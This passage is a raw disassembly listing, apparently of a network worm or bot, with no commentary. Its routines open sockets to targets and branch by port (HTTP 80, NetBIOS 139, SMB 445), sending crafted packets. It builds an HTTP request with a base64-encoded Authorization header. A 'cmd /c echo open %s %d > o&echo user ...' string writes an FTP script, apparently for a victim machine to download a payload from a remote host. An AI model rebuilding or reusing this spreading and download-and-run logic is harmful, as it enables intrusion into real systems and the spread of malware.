loc_40CEA7 lea eax, [ebp+var_10C] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40CEAB loc_40CEA7: ; CODE XREF: sub_40CE40+54j xor eax, eax jmp short loc_40CEBB ; --------------------------------------------------------------------------- loc_40CEAB: ; CODE XREF: sub_40CE40+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CAF8C loc_40CEBB: ; CODE XREF: sub_40CE40+69j pop edi pop esi leave retn sub_40CE40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEBF proc near ; CODE XREF: sub_40CF04+81p ; sub_40CF04+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CAF70 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 4 jz short loc_40CEE9 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CEE9: ; CODE XREF: sub_40CEBF+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CAFC4 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40CEBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF04 proc near ; CODE XREF: sub_40CFDE+48p ; ___:0040D452p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_40CF2D xor al, al jmp loc_40CFD9 ; --------------------------------------------------------------------------- loc_40CF2D: ; CODE XREF: sub_40CF04+20j push ebx push 0 push esi call sub_41B590 push 2Fh push offset dword_431CDC push esi call sub_41C310 push 8 lea eax, [esi+31h] push offset dword_431D0C push eax mov [esi+2Fh], di call sub_41C310 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41C310 push 6 add ebx, edi push offset dword_4CDC8C push ebx call sub_41C310 mov ebx, [ebp+arg_0] push 85h push offset dword_431C54 push ebx call sub_40CEBF add esp, 48h test al, al jnz short loc_40CF95 loc_40CF91: ; CODE XREF: sub_40CF04+B5j xor bl, bl jmp short loc_40CFD0 ; --------------------------------------------------------------------------- loc_40CF95: ; CODE XREF: sub_40CF04+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 push [ebp+var_4] push esi push ebx call sub_40CEBF add esp, 1Ch test al, al jz short loc_40CF91 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 add esp, 10h mov bl, 1 loc_40CFD0: ; CODE XREF: sub_40CF04+8Fj push esi call sub_41B0B1 pop ecx mov al, bl loc_40CFD9: ; CODE XREF: sub_40CF04+24j pop edi pop esi pop ebx leave retn sub_40CF04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFDE proc near ; CODE XREF: ___:0040D438p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_431D18 push [ebp+arg_0] nop call near ptr 71AB1AF4h cmp eax, 48h jnz short loc_40D019 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40CE40 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D019 cmp [ebp+var_20], 82h jz short loc_40D01D loc_40D019: ; CODE XREF: sub_40CFDE+1Bj ; sub_40CFDE+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D01D: ; CODE XREF: sub_40CFDE+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF04 add esp, 0Ch leave retn sub_40CFDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D030 proc near ; CODE XREF: sub_40D07C+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427690 call sub_41C798 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427688 fstp [esp+10h+var_10] call sub_41C679 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41C798 inc eax leave retn sub_40D030 endp ; =============== S U B R O U T I N E ======================================= sub_40D07C proc near ; CODE XREF: sub_40D21E+24p var_40 = qword ptr -40h mov eax, offset loc_426DF7 call sub_41CC64 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D6B3 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D030 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D0BE push edi push eax lea ecx, [ebp-38h] call sub_40D62E loc_40D0BE: ; CODE XREF: sub_40D07C+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D1DB mov ebx, [ebp+10h] loc_40D0CD: ; CODE XREF: sub_40D07C+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D0D7 push 3 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0D7: ; CODE XREF: sub_40D07C+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D0E1 push 2 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0E1: ; CODE XREF: sub_40D07C+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D0EA push 1 loc_40D0E9: ; CODE XREF: sub_40D07C+59j ; sub_40D07C+63j pop ebx loc_40D0EA: ; CODE XREF: sub_40D07C+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_4276A0 fstp [esp+40h+var_40] call sub_41C7BF pop ecx pop ecx call sub_41C798 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D129 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D129: ; CODE XREF: sub_40D07C+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D197 add [ebp-18h], eax loc_40D17B: ; CODE XREF: sub_40D07C+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_431D64[eax] push eax push 1 call sub_40D4B0 inc esi cmp esi, [ebp-1Ch] jb short loc_40D17B loc_40D197: ; CODE XREF: sub_40D07C+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D1B5 push dword ptr [ebp+14h] call sub_41AFE0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D509 mov [ebp-18h], edi loc_40D1B5: ; CODE XREF: sub_40D07C+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D1CF sub esi, [ebp-1Ch] loc_40D1C0: ; CODE XREF: sub_40D07C+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D4B0 dec esi jnz short loc_40D1C0 loc_40D1CF: ; CODE XREF: sub_40D07C+13Fj cmp [ebp+10h], edi ja loc_40D0CD push 1 pop ebx loc_40D1DB: ; CODE XREF: sub_40D07C+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D6B3 push dword_427698 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D560 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D6B3 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D07C endp ; =============== S U B R O U T I N E ======================================= sub_40D21E proc near ; CODE XREF: ___:0040D41Bp mov eax, offset loc_426E14 call sub_41CC64 sub esp, 10h push ebx push esi push edi push offset dword_43D128 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D07C mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41B4D5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D268 xor bl, bl jmp short loc_40D2AC ; --------------------------------------------------------------------------- loc_40D268: ; CODE XREF: sub_40D21E+44j mov ecx, [ebp-18h] mov eax, offset dword_4276A8 cmp ecx, ebx jnz short loc_40D276 mov ecx, eax loc_40D276: ; CODE XREF: sub_40D21E+54j cmp [ebp+18h], ebx jz short loc_40D27E mov eax, [ebp+18h] loc_40D27E: ; CODE XREF: sub_40D21E+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41B980 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, esi jz short loc_40D2A3 xor bl, bl jmp short loc_40D2A5 ; --------------------------------------------------------------------------- loc_40D2A3: ; CODE XREF: sub_40D21E+7Fj mov bl, 1 loc_40D2A5: ; CODE XREF: sub_40D21E+83j push edi call sub_41B0B1 pop ecx loc_40D2AC: ; CODE XREF: sub_40D21E+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D6B3 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D6B3 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D21E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_431F10 push eax call sub_41C310 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4CACB0 push eax push dword ptr [ebp+8] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41B980 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_431DA8 push eax call sub_40CADA xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D377 xor eax, eax jmp loc_40D4A3 ; --------------------------------------------------------------------------- loc_40D377: ; CODE XREF: ___:0040D36Ej mov [ebp-0Ch], esi loc_40D37A: ; CODE XREF: ___:0040D47Aj test esi, esi jnz loc_40D480 push 6 push 1 push 2 nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D468 xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CAF74 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CAFB4 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_40D45D cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D425 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D6B3 lea eax, [ebp+0Ch] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D6EF push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D21E add esp, 1Ch jmp short loc_40D45A ; --------------------------------------------------------------------------- loc_40D425: ; CODE XREF: ___:0040D3E3j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D43F push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CFDE jmp short loc_40D457 ; --------------------------------------------------------------------------- loc_40D43F: ; CODE XREF: ___:0040D42Fj cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D45D push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CF04 loc_40D457: ; CODE XREF: ___:0040D43Dj add esp, 0Ch loc_40D45A: ; CODE XREF: ___:0040D423j movzx esi, al loc_40D45D: ; CODE XREF: ___:0040D3D6j ; ___:0040D449j push ebx call dword_4CB00C test esi, esi jnz short loc_40D473 loc_40D468: ; CODE XREF: ___:0040D393j push 3E8h nop call near ptr 2660F57h loc_40D473: ; CODE XREF: ___:0040D466j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D37A loc_40D480: ; CODE XREF: ___:0040D37Cj lea ecx, [ebp-8] call sub_40C8FF test esi, esi jz short loc_40D4A1 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431410[eax] lea eax, dword_431410[eax] loc_40D4A1: ; CODE XREF: ___:0040D48Aj mov eax, esi loc_40D4A3: ; CODE XREF: ___:0040D372j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426DD8 loc_40D4A8: ; CODE XREF: sub_426DD8+3j ; ___:00426DF1j ... push 1 call sub_40D6B3 retn ; END OF FUNCTION CHUNK FOR sub_426DD8 ; =============== S U B R O U T I N E ======================================= sub_40D4B0 proc near ; CODE XREF: sub_40D07C+110p ; sub_40D07C+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D4CA call sub_42669A loc_40D4CA: ; CODE XREF: sub_40D4B0+13j test ebx, ebx jbe short loc_40D501 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D501 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41B590 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D501: ; CODE XREF: sub_40D4B0+1Cj ; sub_40D4B0+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D4B0 endp ; =============== S U B R O U T I N E ======================================= sub_40D509 proc near ; CODE XREF: sub_40D07C+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D523 call sub_42669A loc_40D523: ; CODE XREF: sub_40D509+13j test ebx, ebx jbe short loc_40D558 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D558 mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D558: ; CODE XREF: sub_40D509+1Cj ; sub_40D509+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D560 proc near ; CODE XREF: sub_40D07C+17Cp ; sub_4265B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D578 call sub_426573 loc_40D578: ; CODE XREF: sub_40D560+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D58A mov esi, [ebp+arg_8] loc_40D58A: ; CODE XREF: sub_40D560+25j cmp edi, ebx jnz short loc_40D5AC push dword_427698 add esi, ecx mov ecx, edi push esi call sub_40D724 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D724 jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5AC: ; CODE XREF: sub_40D560+2Cj test esi, esi jbe short loc_40D5EF cmp esi, eax jnz short loc_40D5EF mov eax, [ebx+4] test eax, eax jnz short loc_40D5C0 mov eax, offset dword_4276A8 loc_40D5C0: ; CODE XREF: sub_40D560+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D5EF push 1 mov ecx, edi call sub_40D6B3 mov eax, [ebx+4] test eax, eax jnz short loc_40D5DB mov eax, offset dword_4276A8 loc_40D5DB: ; CODE XREF: sub_40D560+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5EF: ; CODE XREF: sub_40D560+4Ej ; sub_40D560+52j ... push 1 push esi mov ecx, edi call sub_40D62E test al, al jz short loc_40D625 mov eax, [ebx+4] test eax, eax jnz short loc_40D609 mov eax, offset dword_4276A8 loc_40D609: ; CODE XREF: sub_40D560+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41C310 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D625: ; CODE XREF: sub_40D560+4Aj ; sub_40D560+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D560 endp ; =============== S U B R O U T I N E ======================================= sub_40D62E proc near ; CODE XREF: sub_40D07C+3Dp ; sub_40D4B0+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D640 call sub_42669A loc_40D640: ; CODE XREF: sub_40D62E+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D669 mov al, [ecx-1] cmp al, dl jz short loc_40D669 cmp al, 0FFh jz short loc_40D669 cmp edi, edx jnz short loc_40D6A4 dec al push edx mov [ecx-1], al loc_40D65E: ; CODE XREF: sub_40D62E+47j mov ecx, esi call sub_40D6B3 loc_40D665: ; CODE XREF: sub_40D62E+4Bj ; sub_40D62E+52j xor al, al jmp short loc_40D6AE ; --------------------------------------------------------------------------- loc_40D669: ; CODE XREF: sub_40D62E+19j ; sub_40D62E+20j ... cmp edi, edx jnz short loc_40D682 cmp [esp+8+arg_4], dl jz short loc_40D677 push 1 jmp short loc_40D65E ; --------------------------------------------------------------------------- loc_40D677: ; CODE XREF: sub_40D62E+43j cmp ecx, edx jz short loc_40D665 mov [esi+8], edx mov [ecx], dl jmp short loc_40D665 ; --------------------------------------------------------------------------- loc_40D682: ; CODE XREF: sub_40D62E+3Dj cmp [esp+8+arg_4], dl jz short loc_40D69F mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D694 cmp eax, edi jnb short loc_40D6AC loc_40D694: ; CODE XREF: sub_40D62E+60j push 1 mov ecx, esi call sub_40D6B3 jmp short loc_40D6A4 ; --------------------------------------------------------------------------- loc_40D69F: ; CODE XREF: sub_40D62E+58j cmp [esi+0Ch], edi jnb short loc_40D6AC loc_40D6A4: ; CODE XREF: sub_40D62E+28j ; sub_40D62E+6Fj push edi mov ecx, esi call sub_40D78B loc_40D6AC: ; CODE XREF: sub_40D62E+64j ; sub_40D62E+74j mov al, 1 loc_40D6AE: ; CODE XREF: sub_40D62E+39j pop edi pop esi retn 8 sub_40D62E endp ; =============== S U B R O U T I N E ======================================= sub_40D6B3 proc near ; CODE XREF: sub_40D07C+1Fp ; sub_40D07C+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D6DF mov eax, [esi+4] test eax, eax jz short loc_40D6DF lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D6D8 cmp al, 0FFh jz short loc_40D6D8 dec al mov [ecx], al jmp short loc_40D6DF ; --------------------------------------------------------------------------- loc_40D6D8: ; CODE XREF: sub_40D6B3+19j ; sub_40D6B3+1Dj push ecx call sub_41CC83 pop ecx loc_40D6DF: ; CODE XREF: sub_40D6B3+8j ; sub_40D6B3+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D6B3 endp ; =============== S U B R O U T I N E ======================================= sub_40D6EF proc near ; CODE XREF: ___:0040D40Fp ; sub_40D848+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D62E test al, al jz short loc_40D71D push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D71D: ; CODE XREF: sub_40D6EF+12j mov eax, esi pop edi pop esi retn 8 sub_40D6EF endp ; =============== S U B R O U T I N E ======================================= sub_40D724 proc near ; CODE XREF: sub_40D560+39p ; sub_40D560+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D737 call sub_426573 loc_40D737: ; CODE XREF: sub_40D724+Cj mov ecx, edi call sub_40D848 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D74D mov ebx, eax loc_40D74D: ; CODE XREF: sub_40D724+25j test ebx, ebx jbe short loc_40D783 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41CC90 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D62E test al, al jz short loc_40D783 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D783: ; CODE XREF: sub_40D724+2Bj ; sub_40D724+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D724 endp ; =============== S U B R O U T I N E ======================================= sub_40D78B proc near ; CODE XREF: sub_40D62E+79p mov eax, offset loc_426E20 call sub_41CC64 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40D7B1 mov edi, [ebp+8] loc_40D7B1: ; CODE XREF: sub_40D78B+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40D7BE xor eax, eax loc_40D7BE: ; CODE XREF: sub_40D78B+2Fj push eax call sub_41CFC5 pop ecx mov [ebp+8], eax jmp short loc_40D7EF ; --------------------------------------------------------------------------- mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40D7D9 xor eax, eax loc_40D7D9: ; CODE XREF: sub_40D78B+4Aj push eax call sub_41CFC5 mov [ebp+8], eax pop ecx mov eax, offset loc_40D7E9 retn ; --------------------------------------------------------------------------- loc_40D7E9: ; DATA XREF: sub_40D78B+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D7EF: ; CODE XREF: sub_40D78B+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40D80D cmp eax, edi jbe short loc_40D7FC mov eax, edi loc_40D7FC: ; CODE XREF: sub_40D78B+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41C310 add esp, 0Ch loc_40D80D: ; CODE XREF: sub_40D78B+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D6B3 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D82D mov edi, ebx loc_40D82D: ; CODE XREF: sub_40D78B+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D78B endp ; =============== S U B R O U T I N E ======================================= sub_40D848 proc near ; CODE XREF: sub_40D724+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40D875 mov al, [esi-1] test al, al jz short loc_40D875 cmp al, 0FFh jz short loc_40D875 push 1 call sub_40D6B3 push esi call sub_41AFE0 pop ecx push eax push esi mov ecx, edi call sub_40D6EF loc_40D875: ; CODE XREF: sub_40D848+9j ; sub_40D848+10j ... pop edi pop esi retn sub_40D848 endp ; =============== S U B R O U T I N E ======================================= sub_40D878 proc near ; DATA XREF: ___:00429008o test byte_4DB594, 1 jnz short loc_40D888 or byte_4DB594, 1 loc_40D888: ; CODE XREF: sub_40D878+7j jmp $+5 push offset nullsub_1 call sub_41D040 pop ecx retn sub_40D878 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D89A proc near ; DATA XREF: ___:0042900Co jmp $+5 sub_40D89A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D89F proc near mov eax, dword_4321C8 add eax, 6 mov dword_4CDC94, eax retn sub_40D89F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8AD proc near ; CODE XREF: sub_40D8AD+D0p ; ___:0040DE0Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40D8C1 or [ebp+arg_7], 1 jmp short loc_40D8C5 ; --------------------------------------------------------------------------- loc_40D8C1: ; CODE XREF: sub_40D8AD+Cj and [ebp+arg_7], 0FEh loc_40D8C5: ; CODE XREF: sub_40D8AD+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40D8E9 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40D8FB ; --------------------------------------------------------------------------- loc_40D8E9: ; CODE XREF: sub_40D8AD+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40D8FB: ; CODE XREF: sub_40D8AD+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41B4D5 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40D994 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] nop call near ptr 26E0000h test eax, eax jz short loc_40D98B mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40D98B push [ebp+arg_20] call sub_41B0B1 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40D987 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40D8AD add esp, 2Ch jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D987: ; CODE XREF: sub_40D8AD+B3j mov al, 1 jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D8AD+9Cj ; sub_40D8AD+A4j push [ebp+arg_20] call sub_41B0B1 pop ecx loc_40D994: ; CODE XREF: sub_40D8AD+61j xor al, al loc_40D996: ; CODE XREF: sub_40D8AD+D8j ; sub_40D8AD+DCj pop edi pop esi pop ebx leave retn sub_40D8AD endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ▀ db 0ECh ; Л db 0B8h ; ╦ db 0DCh ; э db 60h ; ` db 0 db 0 db 0E8h ; Х db 78h ; x db 0E1h ; А db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 0BCh ; ╪ db 0D4h ; т db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; Х db 0A8h ; ╗ db 0F7h ; В db 0 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; ш db 85h ; ┘ db 0C0h ; ю db 59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; ╬ db 0 db 20h db 0 db 0 db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0DFh ; ъ db 0FFh db 0FFh db 68h ; h db 44h ; D db 22h ; " db 43h ; C db 0 db 56h ; V db 50h ; P db 0E8h ; Х db 0A6h ; ╕ db 0DFh ; ъ db 0 db 0 db 6Ah ; j db 20h db 8Dh ; █ db 85h ; ┘ db 